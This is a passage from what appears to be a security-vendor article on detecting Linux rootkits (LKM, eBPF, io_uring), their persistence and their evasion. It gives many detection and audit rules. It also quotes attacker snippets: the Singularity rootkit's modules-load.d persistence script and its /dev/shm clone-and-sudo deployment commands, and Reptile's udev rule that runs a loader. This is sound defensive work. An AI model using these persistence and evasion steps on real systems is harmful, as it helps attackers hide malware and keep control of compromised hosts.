<p>To detect this, raw syslog collection must be enabled. From there, writing a detection rule to flag segfault messages can help identify either malicious behavior or kernel instability, both of which warrant investigation:</p>
<pre><code class="language-sql">event.dataset:&quot;system.syslog&quot; and process.name:&quot;kernel&quot; and message:&quot;segfault&quot;
</code></pre>
<p>This detection rule is available out-of-the-box as <a href="https://www.elastic.co/fr/docs/solutions/security/detect-and-alert/about-building-block-rules">a building block rule</a>:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/5d98a212fcb980a37ee6be2327f861e5af3ede41/rules_building_block/execution_linux_segfault.toml">Segfault Detected</a></li>
</ul>
<p>Combining syscall-level module-loading visibility with kernel taint, out-of-tree messages, kill-signal detection, and segfault alerts lays the foundation for a layered strategy to detect LKM-based rootkits.</p>
<h3>eBPF rootkits</h3>
<p>eBPF rootkits exploit the legitimate functionality of the Linux kernel’s BPF subsystem. Programs can be dynamically loaded and attached using utilities like <code>bpftool</code> or via custom loaders that abuse the <code>bpf()</code> syscalls.</p>
<p>Detecting eBPF-based rootkits requires visibility into both <code>bpf()</code> syscalls and the use of sensitive eBPF helpers. Key indicators involved include:</p>
<ul>
<li><code>bpf(BPF_MAP_CREATE, ...)</code></li>
<li><code>bpf(BPF_MAP_LOOKUP_ELEM, ...)</code></li>
<li><code>bpf(BPF_MAP_UPDATE_ELEM, ...)</code></li>
<li><code>bpf(BPF_PROG_LOAD, ...)</code></li>
<li><code>bpf(BPF_PROG_ATTACH, ...)</code></li>
</ul>
<p>Leveraging Auditd, an audit rule can be created where <code>a0</code> is leveraged to specify the specific BPF syscalls of interest:</p>
<pre><code class="language-shell">-a always,exit -F arch=b64 -S bpf -F a0=0 -k bpf_map_create
-a always,exit -F arch=b64 -S bpf -F a0=1 -k bpf_map_lookup_elem
-a always,exit -F arch=b64 -S bpf -F a0=2 -k bpf_map_update_elem
-a always,exit -F arch=b64 -S bpf -F a0=5 -k bpf_prog_load
-a always,exit -F arch=b64 -S bpf -F a0=8 -k bpf_prog_attach
</code></pre>
<p>These must be tuned on a per-environment basis to ensure that benign programs (e.g., EDRs or other observability tools) that leverage eBPF do not generate noise. Another important signal is the use of eBPF helper functions.</p>
<h4>The bpf_probe_write_user helper function</h4>
<p>The <code>bpf_probe_write_user</code> helper allows kernel-space eBPF programs to write directly to userland memory. Although intended for debugging, this function can be abused by rootkits.</p>
<p>Detection remains challenging, but Linux kernels commonly log the use of sensitive helpers, such as <code>bpf_probe_write_user</code>. Monitoring for these entries offers a detection opportunity, requiring raw syslog collection and specific detection rules, such as the following:</p>
<pre><code class="language-sql">event.dataset:&quot;system.syslog&quot; and process.name:&quot;kernel&quot; and
message:&quot;bpf_probe_write_user&quot;
</code></pre>
<p>This rule will alert on any kernel log entry indicating the use of <code>bpf_probe_write_user</code>. While legitimate tools may occasionally invoke it, unexpected or frequent use, especially alongside suspicious process behavior, warrants investigation. Context, such as the eBPF program’s attachment point and the userland process involved, aids triage. This detection rule is available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/5d98a212fcb980a37ee6be2327f861e5af3ede41/rules/linux/persistence_bpf_probe_write_user.toml">Suspicious Usage of bpf_probe_write_user Helper</a></li>
</ul>
<p>Below are a few obvious examples of true positives detected by this logic:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image20.png" alt="Figure 7: Telemetry example of bpf_probe_write_user function call via a malicious eBPF program" title="Figure 7: Telemetry example of bpf_probe_write_user function call via a malicious eBPF program." /></p>
<p>The rule triggers on <a href="https://github.com/eeriedusk/nysm">nysm</a> (a stealthy post-exploitation container) and <a href="https://github.com/krisnova/boopkit">boopkit</a> (a Linux eBPF backdoor).</p>
<h3>io_uring rootkits</h3>
<p><a href="https://www.armosec.io/blog/io_uring-rootkit-bypasses-linux-security/">ARMO research</a> (2025) introduced a new defense evasion technique that leverages <code>io_uring</code>, a design for asynchronous I/O, to reduce observable syscall activity and bypass standard telemetry. This technique is limited to kernel versions 5.1 and above and avoids using hooks. Although the method was recently discovered by rootkit researchers, it is still actively being developed and remains relatively immature in its feature set. An example tool that leverages this technique is <a href="https://github.com/MatheuZSecurity/RingReaper">RingReaper</a>. Rootkits can batch file, network, and other I/O operations via <code>io_uring_enter()</code>. A code example is shown below.</p>
<pre><code class="language-c">struct io_uring_sqe *sqe = io_uring_get_sqe(&amp;ring);
io_uring_prep_read(sqe, fd, buf, size, offset);
io_uring_submit(&amp;ring);
</code></pre>
<p>These calls queue and submit a read request using <code>io_uring</code>, bypassing typical syscall telemetry paths.</p>
<p>Unlike syscall table hooking or <code>LD_PRELOAD</code>-based injection, <code>io_uring</code> is not a rootkit delivery mechanism itself but provides a stealthier means of interacting with the filesystem and devices post-compromise. While <code>io_uring</code> cannot directly execute binaries (due to the lack of <code>execve</code>-like capabilities), it enables malicious actions such as file creation, enumeration, and data exfiltration, while minimizing observability.</p>
<p>Detecting <code>io_uring</code>-based rootkits requires visibility into the syscalls that underpin their operation, such as <code>io_uring_setup()</code>, <code>io_uring_enter()</code>, and <code>io_uring_register()</code>.</p>
<p>While EDR solutions may struggle to capture the indirect effects of <code>io_uring</code>, Auditd can trace these syscalls directly. The following audit rule captures relevant events for analysis:</p>
<pre><code class="language-shell">-a always,exit -F arch=b64 -k io_uring
-S io_uring_setup -S io_uring_enter -S io_uring_register
</code></pre>
<p>However, this only exposes the syscall usage itself, not the specific file or object being accessed. The real &quot;magic&quot; of <code>io_uring</code> occurs within userland libraries (e.g., <code>liburing</code>), making analysis of syscall arguments essential.</p>
<p>For example, monitoring <code>io_uring_enter()</code> with <code>to_submit &gt; 0</code> indicates that an I/O operation is being batched, while alternating calls with <code>min_complete &gt; 0</code> signals completion polling. Correlating with process attributes (e.g., UID=0, unusual paths such as <code>/dev/shm</code>, <code>/tmp</code>, or <code>tmpfs</code>-backed locations) enhances detection efficacy.</p>
<p>A practical method for tracing <code>io_uring</code> activity is via eBPF with tools like <code>BCC</code>, targeting tracepoints such as <code>sys_enter_io_uring_enter</code>. This allows analysts to monitor process behavior and active file descriptors during <code>io_uring</code> operations:</p>
<pre><code class="language-c">tracepoint:syscalls:sys_enter_io_uring_enter
{
    printf(&quot;\nPID %d (%s) called io_uring_enter with fd=%d, to_submit=%d, min_complete=%d, flags=%d\n&quot;,
        pid, comm, args-&gt;fd, args-&gt;to_submit, args-&gt;min_complete, args-&gt;flags);

    printf(&quot;Manually inspect with: ls -l /proc/%d/fd\n&quot;, pid);
}
</code></pre>
<p>To illustrate this, several techniques introduced by RingReaper were tested. Live tracing reveals the file descriptors in use, helping identify suspicious activity like reading from <code>/run/utmp</code> to detect what users are logged in:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image16.png" alt="Figure 8: RingReaper users' command" title="Figure 8: RingReaper users' command." /></p>
<p>The activity of writing to a file, in this example <code>/root/test</code>:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image1.png" alt="Figure 9: RingReaper put command" title="Figure 9: RingReaper put command." /></p>
<p>Or listing process information via <code>ps</code> by reading the <code>comm</code> contents for each active PID:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image6.png" alt="Figure 10: RingReaper ps command" title="Figure 10: RingReaper ps command." /></p>
<p>While syscall monitoring exposes <code>io_uring</code> usage, it does not directly reveal the nature of the I/O without additional correlation. <code>io_uring</code> is a relatively new technique and therefore still stealthy; however, it also has several limitations. <code>io_uring</code> cannot directly execute code; however, attackers may abuse file writes (e.g., cron jobs, udev rules) to achieve delayed or indirect execution, as demonstrated by persistence techniques used by the Reptile and <a href="https://www.levelblue.com/blogs/spiderlabs-blog/unveiling-sedexp/">Sedexp</a> malware families.</p>
<h3>Rootkit persistence techniques</h3>
<p>Rootkits, whether in userland or kernel space, require some form of persistence to remain functional across reboots or user sessions. The methods vary depending on the type and privileges of the rootkit, but commonly involve abusing configuration files, service management, or system initialization scripts.</p>
<h4>Userland rootkits – environment variable persistence</h4>
<p>When using <code>LD_PRELOAD</code> to activate a userland rootkit, the behavior is not persistent by default. To achieve persistence, attackers may modify shell initialization files (e.g., <code>~/.bashrc</code>, <code>~/.zshrc</code>, or <code>/etc/profile</code>) to export environment variables such as <code>LD_PRELOAD</code> or <code>LD_LIBRARY_PATH</code>. These modifications ensure that every new shell session automatically inherits the environment required to activate the rootkit. Notably, these files exist for both user and root contexts. Therefore, even non-privileged users can introduce persistence that hijacks execution flow at their privilege level.</p>
<p>To detect this, a rule similar to the one displayed below can be used:</p>
<pre><code class="language-sql">file where event.action in (&quot;rename&quot;, &quot;creation&quot;) and file.path like (
  // system-wide configurations
  &quot;/etc/profile&quot;, &quot;/etc/profile.d/*&quot;, &quot;/etc/bash.bashrc&quot;,
  &quot;/etc/bash.bash_logout&quot;, &quot;/etc/zsh/*&quot;, &quot;/etc/csh.cshrc&quot;,
  &quot;/etc/csh.login&quot;, &quot;/etc/fish/config.fish&quot;, &quot;/etc/ksh.kshrc&quot;,

  // root and user configurations
  &quot;/home/*/.profile&quot;, &quot;/home/*/.bashrc&quot;, &quot;/home/*/.bash_login&quot;,
  &quot;/home/*/.bash_logout&quot;, &quot;/home/*/.bash_profile&quot;, &quot;/root/.profile&quot;,
  &quot;/root/.bashrc&quot;, &quot;/root/.bash_login&quot;, &quot;/root/.bash_logout&quot;,
  &quot;/root/.bash_profile&quot;, &quot;/root/.bash_aliases&quot;, &quot;/home/*/.bash_aliases&quot;,
  &quot;/home/*/.zprofile&quot;, &quot;/home/*/.zshrc&quot;, &quot;/root/.zprofile&quot;, &quot;/root/.zshrc&quot;,
  &quot;/home/*/.cshrc&quot;, &quot;/home/*/.login&quot;, &quot;/home/*/.logout&quot;, &quot;/root/.cshrc&quot;,
  &quot;/root/.login&quot;, &quot;/root/.logout&quot;, &quot;/home/*/.config/fish/config.fish&quot;,
  &quot;/root/.config/fish/config.fish&quot;, &quot;/home/*/.kshrc&quot;, &quot;/root/.kshrc&quot;
)
</code></pre>
<p>Depending on the environment, several of these shells may not be in use, and a more tailored detection rule may be created, focusing only on <code>bash</code> or <code>zsh</code>, for example. The full detection logic using Elastic Defend and <a href="https://www.elastic.co/fr/docs/reference/integrations/fim">Elastic’s File Integrity Monitoring integration</a> can be found here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/5d98a212fcb980a37ee6be2327f861e5af3ede41/rules/linux/persistence_shell_configuration_modification.toml">Shell Configuration Creation</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/e012e88342d89d6d7f28aac4a7c744ef96b16067/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></li>
</ul>
<p>For more information, a full breakdown of this persistence technique, including several other ways to detect its abuse, is presented in <a href="https://www.elastic.co/fr/security-labs/primer-on-persistence-mechanisms#t1546004---event-triggered-execution-unix-shell-configuration-modification">Linux Detection Engineering - A primer on persistence mechanisms</a>.</p>
<h4>Userland rootkits – configuration-based persistence</h4>
<p>Modifying the <code>/etc/ld.so.preload</code>, <code>/etc/ld.so.conf</code>, or the <code>/etc/ld.so.conf.d/</code> configuration files allow rootkits to persist globally across users and sessions (more information on this persistence vector is available in <a href="https://www.elastic.co/fr/security-labs/continuation-on-persistence-mechanisms#t1574006---hijack-execution-flow-dynamic-linker-hijacking">Linux Detection Engineering - A Continuation on Persistence Mechanisms</a>). Once written, the dynamic linker will continue injecting the malicious shared object unless these configurations are explicitly reverted. These methods are persistent by design. Detection strategies mirror those described in the previous section and rely on monitoring file creation or modification events in these paths.</p>
<h4>Kernel-space rootkits – LKM persistence</h4>
<p>Similar to userland rootkits, LKMs are not persistent by default. An attacker must explicitly configure the system to reload the malicious module on boot. This is typically achieved by leveraging legitimate kernel module loading mechanisms:</p>
<p><strong>Modules file: <code>modules</code></strong></p>
<p>This file lists kernel modules that should be loaded automatically during system startup. Adding a malicious <code>.ko</code> filename here ensures that <code>modprobe</code> will load it upon boot. This file is located at <code>/etc/modules</code>.</p>
<p><strong>Configuration directory for <code>modprobe</code></strong></p>
<p>This directory contains configuration files for the <code>modprobe</code> utility. Attackers may use aliasing to disguise their rootkit or autoload it when a specific kernel event occurs (e.g., when a device is probed). These modprobe configuration files are located at <code>/etc/modprobe.d/</code>, <code>/run/modprobe.d/</code>, <code>/usr/local/lib/modprobe.d/</code>, <code>/usr/lib/modprobe.d/</code>, and <code>/lib/modprobe.d/</code>.</p>
<p><strong>Configure kernel modules to load at boot: <code>modules-load.d</code></strong></p>
<p>These configuration files specify which modules to load early in the boot process and are located at <code>/etc/modules-load.d/</code>, <code>/run/modules-load.d/</code>, <code>/usr/local/lib/modules-load.d/</code>, and <code>/usr/lib/modules-load.d/</code>.</p>
<p>To detect all of the persistence techniques listed above, a detection rule similar to the one below can be created:</p>
<pre><code class="language-sql">file where event.action in (&quot;rename&quot;, &quot;creation&quot;) and file.path like (
  &quot;/etc/modules&quot;,
  &quot;/etc/modprobe.d/*&quot;,
  &quot;/run/modprobe.d/*&quot;,
  &quot;/usr/local/lib/modprobe.d/*&quot;,
  &quot;/usr/lib/modprobe.d/*&quot;,
  &quot;/lib/modprobe.d/*&quot;,
  &quot;/etc/modules-load.d/*&quot;,
  &quot;/run/modules-load.d/*&quot;,
  &quot;/usr/local/lib/modules-load.d/*&quot;,
  &quot;/usr/lib/modules-load.d/*&quot;
)
</code></pre>
<p>This pre-built rule that combines all of the paths listed above into a single detection rule is available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/5d98a212fcb980a37ee6be2327f861e5af3ede41/rules/linux/persistence_lkm_configuration_file_creation.toml">Loadable Kernel Module Configuration File Creation</a></li>
</ul>
<p>An example of a rootkit that automatically deploys persistence using this method is Singularity. Within its deployment, the following commands are executed:</p>
<pre><code class="language-shell">read -p &quot;Enter the module name (without .ko): &quot; MODULE_NAME
CONF_DIR=&quot;/etc/modules-load.d&quot;
mkdir -p &quot;$CONF_DIR&quot;
echo &quot;[*] Setting up persistence...&quot;
echo &quot;$MODULE_NAME&quot; &gt; &quot;$CONF_DIR/$MODULE_NAME.conf&quot;
</code></pre>
<p>By default, this means that <code>singularity.conf</code> will be created as a new entry under <code>/etc/modules-load.d/</code>. Looking at telemetry, we detect this technique simply by monitoring for new file creations:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image19.png" alt="Figure 11: Telemetry example of Singularity’s LKM persistence technique" title="Figure 11: Telemetry example of Singularity’s LKM persistence technique." /></p>
<p>These directories are also used for benign LKMs and will therefore be prone to false positives. Another persistence method involves using a trigger- or schedule-based technique to load the kernel module by executing the loader.</p>
<h4>Udev-based persistence – Reptile example</h4>
<p>A less common but powerful persistence method involves abusing udev, the Linux device manager that handles dynamic device events. Udev executes rule-based scripts when specific conditions are met. A full breakdown of this technique is presented in <a href="https://www.elastic.co/fr/security-labs/sequel-on-persistence-mechanisms">Linux Detection Engineering - A Sequel on Persistence Mechanisms</a>. The <a href="https://codeberg.org/hardenedvault/Reptile-vault-range/src/commit/01dc5e1300bf1ba364870c8f4781e085c3c463e9/scripts/rule">Reptile rootkit</a> demonstrates this technique by installing a malicious udev rule under <code>/etc/udev/rules.d/</code>:</p>
<pre><code class="language-shell">ACTION==&quot;add&quot;, ENV{MAJOR}==&quot;1&quot;, ENV{MINOR}==&quot;8&quot;, RUN+=&quot;/lib/udev/reptile&quot;
</code></pre>
<p>This rule was likely used as inspiration by the <a href="https://www.levelblue.com/blogs/spiderlabs-blog/unveiling-sedexp/">Sedexp</a> malware discovered by Levelblue. Here’s how the rule works:</p>
<ul>
<li><code>ACTION==&quot;add&quot;</code>: Triggers when a new device is added to the system.</li>
<li><code>ENV{MAJOR}==&quot;1&quot;</code>: Matches devices with major number “1”, typically memory-related devices such as <code>/dev/mem</code>, <code>/dev/null</code>, <code>/dev/zero</code>, and <code>/dev/random</code>.</li>
<li><code>ENV{MINOR}==&quot;8&quot;</code>: Further narrows the condition to <code>/dev/random</code>.</li>
<li><code>RUN+=&quot;/lib/udev/reptile&quot;</code>: Executes the Reptile loader binary when the above device is detected.</li>
</ul>
<p>This rule establishes persistence by triggering the execution of a loader binary whenever the <code>/dev/random</code> device is loaded. As a widely used random number generator essential for numerous system applications and the boot process, this method is effective. Activation occurs only upon specific device events, and execution happens with root privileges through the <code>udev daemon</code>. To detect this technique, a detection rule similar to the one below can be created:</p>
<pre><code class="language-sql">file where event.action in (&quot;rename&quot;, &quot;creation&quot;) and file.extension == &quot;rules&quot; and file.path like (
  &quot;/lib/udev/*&quot;,
  &quot;/etc/udev/rules.d/*&quot;,
  &quot;/usr/lib/udev/rules.d/*&quot;,
  &quot;/run/udev/rules.d/*&quot;,
  &quot;/usr/local/lib/udev/rules.d/*&quot;
)
</code></pre>
<p>We cover the creation and modification of these files via the following pre-built rules:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/5d98a212fcb980a37ee6be2327f861e5af3ede41/rules/linux/persistence_udev_rule_creation.toml">Systemd-udevd Rule File Creation</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/e012e88342d89d6d7f28aac4a7c744ef96b16067/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></li>
</ul>
<h4>General persistence mechanisms</h4>
<p>In addition to kernel module loading paths, attackers may rely on more generic Linux persistence methods to reload userland or kernel-space rootkits via the loader:</p>
<p><strong>Systemd</strong>: <a href="https://www.elastic.co/fr/security-labs/primer-on-persistence-mechanisms">Create or append to a service/timer</a> under any (e.g., <code>/etc/systemd/system/</code>) directory that supports the loader at boot.</p>
<pre><code class="language-sql">file where event.action in (&quot;rename&quot;, &quot;creation&quot;) and file.path like (
  &quot;/etc/systemd/system/*&quot;, &quot;/etc/systemd/user/*&quot;,
  &quot;/usr/local/lib/systemd/system/*&quot;, &quot;/lib/systemd/system/*&quot;,
  &quot;/usr/lib/systemd/system/*&quot;, &quot;/usr/lib/systemd/user/*&quot;,
  &quot;/home/*.config/systemd/user/*&quot;, &quot;/home/*.local/share/systemd/user/*&quot;,
  &quot;/root/.config/systemd/user/*&quot;, &quot;/root/.local/share/systemd/user/*&quot;
) and file.extension in (&quot;service&quot;, &quot;timer&quot;)
</code></pre>
<p><strong>Initialization scripts</strong>: <a href="https://www.elastic.co/fr/security-labs/sequel-on-persistence-mechanisms">Create or append to a malicious run-control</a> (<code>/etc/rc.local</code>), <a href="https://www.elastic.co/fr/security-labs/sequel-on-persistence-mechanisms">SysVinit</a> (<code>/etc/init.d/</code>), or <a href="https://www.elastic.co/fr/security-labs/sequel-on-persistence-mechanisms">Upstart</a> (<code>/etc/init/</code>) script.</p>
<pre><code class="language-sql">file where event.action in (&quot;creation&quot;, &quot;rename&quot;) and
file.path like (
  &quot;/etc/init.d/*&quot;, &quot;/etc/init/*&quot;, &quot;/etc/rc.local&quot;, &quot;/etc/rc.common&quot;
)
</code></pre>
<p><strong>Cron jobs</strong>: <a href="https://www.elastic.co/fr/security-labs/primer-on-persistence-mechanisms">Create or append to a cron job</a> that allows for repeated execution of a loader.</p>
<pre><code class="language-sql">file where event.action in (&quot;rename&quot;, &quot;creation&quot;) and
file.path like (
  &quot;/etc/cron.allow&quot;, &quot;/etc/cron.deny&quot;, &quot;/etc/cron.d/*&quot;,
  &quot;/etc/cron.hourly/*&quot;, &quot;/etc/cron.daily/*&quot;, &quot;/etc/cron.weekly/*&quot;,
  &quot;/etc/cron.monthly/*&quot;, &quot;/etc/crontab&quot;, &quot;/var/spool/cron/crontabs/*&quot;,
  &quot;/var/spool/anacron/*&quot;
)
</code></pre>
<p><strong>Sudoers</strong>: <a href="https://www.elastic.co/fr/security-labs/primer-on-persistence-mechanisms">Create or append to a malicious sudoers configuration</a> as a backdoor.</p>
<pre><code class="language-sql">file where event.type in (&quot;creation&quot;, &quot;change&quot;) and
file.path like &quot;/etc/sudoers*&quot;
</code></pre>
<p>These methods are widely used, flexible, and often easier to detect using process lineage or file-modification telemetry.</p>
<p>The list of pre-built detection rules to detect these persistence techniques is listed below:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/93d20b1233fc94aea8f4a80062bd1f59069fb0c5/rules/linux/persistence_systemd_service_creation.toml">Systemd Service Created</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/93d20b1233fc94aea8f4a80062bd1f59069fb0c5/rules/linux/persistence_systemd_scheduled_timer_created.toml">Systemd Timer Created</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/93d20b1233fc94aea8f4a80062bd1f59069fb0c5/rules/linux/persistence_init_d_file_creation.toml">System V Init Script Created</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/93d20b1233fc94aea8f4a80062bd1f59069fb0c5/rules/linux/persistence_rc_script_creation.toml">rc.local/rc.common File Creation</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/93d20b1233fc94aea8f4a80062bd1f59069fb0c5/rules/linux/persistence_cron_job_creation.toml">Cron Job Created or Modified</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/5d98a212fcb980a37ee6be2327f861e5af3ede41/rules/cross-platform/privilege_escalation_sudoers_file_mod.toml">Sudoers File Activity</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/e012e88342d89d6d7f28aac4a7c744ef96b16067/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></li>
</ul>
<h3>Rootkit defense evasion techniques</h3>
<p>Although rootkits are, by definition, tools for defense evasion, many implement additional techniques to remain undetected during and after deployment. These methods are designed to avoid visibility in logs, evade endpoint detection agents, and interfere with common investigation workflows. The following section outlines key evasion techniques employed by modern Linux rootkits, categorized by their operational targets.</p>
<h4>Attempts to remain stealthy upon deployment</h4>
<p>Threat actors commonly focus on stealthy execution tactics from a forensics perspective. For example, a threat actor may store and execute its payloads from the <code>/dev/shm</code> shared-memory directory, as this is a fully virtual file system, and therefore the payloads will never touch disk. This is great from a forensics perspective, but as behavioral detection engineers, we find this behavior very suspicious and uncommon.</p>
<p>As an example, although not an actual threat actor, Singularity’s author suggests the following deployment method:</p>
<pre><code class="language-shell">cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
sudo bash scripts/x.sh
</code></pre>
<p>There are several trip wires to be installed to detect this behavior with a nearly zero false-positive rate, starting with cloning a GitHub repository into the <code>/dev/shm</code> directory.</p>
<pre><code class="language-sql">sequence by process.entity_id, host.id with maxspan=10s
  [process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (
     (process.name == &quot;git&quot; and process.args == &quot;clone&quot;) or
     (
       process.name in (&quot;wget&quot;, &quot;curl&quot;) and
       process.command_line like~ &quot;*github*&quot;
     )
  )]
  [file where event.type == &quot;creation&quot; and
   file.path like (&quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;, &quot;/dev/shm/*&quot;)]
</code></pre>
<p>Cloning directories in <code>/tmp</code> and <code>/var/tmp</code> is common, so these could be removed from this rule in environments where cloning repositories is common. The same activity in <code>/dev/shm</code>, however, is very uncommon.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image10.png" alt="Figure 12: Telemetry example of a GitHub repository cloning event in /dev/shm" title="Figure 12: Telemetry example of a GitHub repository cloning event in /dev/shm." /></p>
<p>The <code>setup.sh</code> script, called by the loader, continues by compiling the LKM in a <code>/dev/shm/</code> subdirectory. Real threat actors generally do not compile on the host itself, however, it is not that uncommon to see this happen either way.</p>
<pre><code class="language-sql">sequence with maxspan=10s
  [process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
   process.name like (
     &quot;*gcc*&quot;, &quot;*g++*&quot;, &quot;c++&quot;, &quot;cc&quot;, &quot;c99&quot;, &quot;c89&quot;, &quot;cc1*&quot;, &quot;clang*&quot;,
     &quot;musl-clang&quot;, &quot;tcc&quot;, &quot;zig&quot;, &quot;ccache&quot;, &quot;distcc&quot;
   )] as event0
  [file where event.action == &quot;creation&quot; and file.path like &quot;/dev/shm/*&quot; and
   process.name like (
     &quot;ld&quot;, &quot;ld.*&quot;, &quot;lld&quot;, &quot;ld.lld&quot;, &quot;mold&quot;, &quot;collect2&quot;, &quot;*-linux-gnu-ld*&quot;, 
     &quot;*-pc-linux-gnu-ld*&quot;
   ) and
   stringcontains~(event0.process.command_line, file.name)]
</code></pre>
<p>This endpoint logic detects the execution of a compiler, followed by the linker creating a file in <code>/dev/shm</code> (or a subdirectory).</p>
<p>And finally, since it cloned the whole repository in <code>/dev/shm</code>, and executed <code>setup.sh</code> and <code>x.sh</code>, we will observe process execution from the shared memory directory, which is uncommon in most environments:</p>
<pre><code class="language-sql">process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
process.executable like (&quot;/dev/shm/*&quot;, &quot;/run/shm/*&quot;)
</code></pre>
<p>These rules are available within the detection-rules and protections-artifacts repositories:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/cf6472005a64805453f868248895884c43725b6f/rules/linux/command_and_control_git_repo_or_file_download_to_sus_dir.toml">Git Repository or File Download to Suspicious Directory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/331b0c762ef5293cea812a9b676e84527fbe5f73/behavior/rules/linux/defense_evasion_linux_compilation_in_suspicious_directory.toml">Linux Compilation in Suspicious Directory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/473c8536449c12f4e6bf1dc7de4fbded217592a5/behavior/rules/linux/defense_evasion_binary_executed_from_shared_memory_directory.toml">Binary Executed from Shared Memory Directory</a></li>
</ul>
<h4>Masquerading as legitimate processes</h4>
<p>To avoid scrutiny during process enumeration or system monitoring, rootkits often rename their processes and threads to match benign system components. Common disguises include:</p>
<ul>
<li><code>kworker</code>, <code>migration</code>, or <code>rcu_sched</code> (kernel threads)</li>
<li><code>sshd</code>, <code>systemd</code>, <code>dbus-daemon</code>, or <code>bash</code> (userland daemons)</li>
</ul>
<p>These names are chosen to blend in with the output of tools like <code>ps</code>, <code>top</code>, or <code>htop</code>, making manual detection more difficult. Examples of rootkits that leverage this technique include Reptile and <a href="https://www.elastic.co/fr/security-labs/declawing-pumakit">PUMAKIT</a>. Reptile generates unusual network events through <code>kworker</code> upon initialization:</p>
<pre><code class="language-sql">network where event.type == &quot;start&quot; and event.action == &quot;connection_attempted&quot; 
and process.name like~ (&quot;kworker*&quot;, &quot;kthreadd&quot;) and not (
  destination.ip == null or
  destination.ip == &quot;0.0.0.0&quot; or
  cidrmatch(
    destination.ip,
    &quot;10.0.0.0/8&quot;, &quot;127.0.0.0/8&quot;, &quot;169.254.0.0/16&quot;, &quot;172.16.0.0/12&quot;,
    &quot;192.0.0.0/24&quot;, &quot;192.0.0.0/29&quot;, &quot;192.0.0.8/32&quot;, &quot;192.0.0.9/32&quot;,
    &quot;192.0.0.10/32&quot;, &quot;192.0.0.170/32&quot;, &quot;192.0.0.171/32&quot;, &quot;192.0.2.0/24&quot;, 
    &quot;192.31.196.0/24&quot;, &quot;192.52.193.0/24&quot;, &quot;192.168.0.0/16&quot;, &quot;192.88.99.0/24&quot;,
    &quot;224.0.0.0/4&quot;, &quot;100.64.0.0/10&quot;, &quot;192.175.48.0/24&quot;,&quot;198.18.0.0/15&quot;, 
    &quot;198.51.100.0/24&quot;, &quot;203.0.113.0/24&quot;, &quot;240.0.0.0/4&quot;, &quot;::1&quot;,
    &quot;FE80::/10&quot;, &quot;FF00::/8&quot;
  )
)
</code></pre>
<p>The example below shows Reptile’s port knocking functionality, where the kernel thread forks, changes its session ID to 0, and sets up the network connection:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image5.png" alt="Figure 13: Telemetry example of Reptile’s port knocking via a kernel worker thread" title="Figure 13: Telemetry example of Reptile’s port knocking via a kernel worker thread." /></p>
<p>Reptile is also seen to leverage the same <code>kworker</code> process to create files:</p>
<pre><code class="language-sql">file where event.type == &quot;creation&quot; and
process.name like~ (&quot;kworker*&quot;, &quot;kthreadd&quot;)
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image4.png" alt="Figure 14: Telemetry example of a /dev/ptmx file creation from Reptile’s kernel worker thread" title="Figure 14: Telemetry example of a /dev/ptmx file creation from Reptile’s kernel worker thread." /></p>
<p><a href="https://www.elastic.co/fr/security-labs/declawing-pumakit">PUMAKIT</a> spawns kernel threads to execute userland commands through <code>kthreadd</code>, but similar activity has been observed through a <code>kworker</code> process in other rootkits:</p>
<pre><code class="language-sql">process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
process.parent.name like~ (&quot;kworker*&quot;, &quot;kthreadd&quot;) and
process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;) and
process.args == &quot;-c&quot;
</code></pre>
<p>These <code>kworker</code> and <code>kthreadd</code> rules may generate false positives due to the Linux kernel's internal operations. These can easily be excluded on a per-environment basis, or additional command-line arguments can be added to the logic.</p>
<p>These rules are available in the detection-rules and protections-artifacts repositories:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/cf6472005a64805453f868248895884c43725b6f/rules/linux/command_and_control_linux_kworker_netcon.toml">Network Activity Detected via Kworker</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/cf6472005a64805453f868248895884c43725b6f/rules/linux/persistence_kworker_file_creation.toml">Suspicious File Creation via Kworker</a></li>
